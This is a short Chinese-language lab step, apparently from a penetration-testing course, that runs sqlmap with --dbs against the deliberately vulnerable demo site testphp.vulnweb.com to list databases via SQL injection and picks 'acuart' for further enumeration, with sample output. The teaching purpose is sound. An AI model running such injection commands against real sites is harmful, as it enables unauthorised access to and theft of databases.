从枚举列表中选择目标数据库
在此步骤中,我们将模拟已枚举数据库,并选择一个作为焦点。在实际场景中,你将已经运行 sqlmap 并使用 --dbs 标志来列出所有可用数据库。在本实验中,我们将假设你已将名为 acuart 的数据库确定为目标。
首先,让我们确保 sqlmap 可用。如果尚未安装,你可以使用 sudo apt update && sudo apt install sqlmap -y 进行安装。
我们将使用一个已知的易受攻击的 URL 作为我们的目标。出于演示目的,我们将使用 http://testphp.vulnweb.com/listproducts.php?cat=1。
开始之前,让我们列出目标上可用的数据库。此命令将花费一些时间运行,因为 sqlmap 会执行其检查。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
你将看到类似以下的输出,列出数据库:
---
[INFO] fetching database names
[INFO] the back-end DBMS is MySQL
...
available databases [X]:
[*] acuart
[*] information_schema
[*] mysql
[*] performance_schema
...
从列表中,我们将选择 acuart 进行进一步的枚举。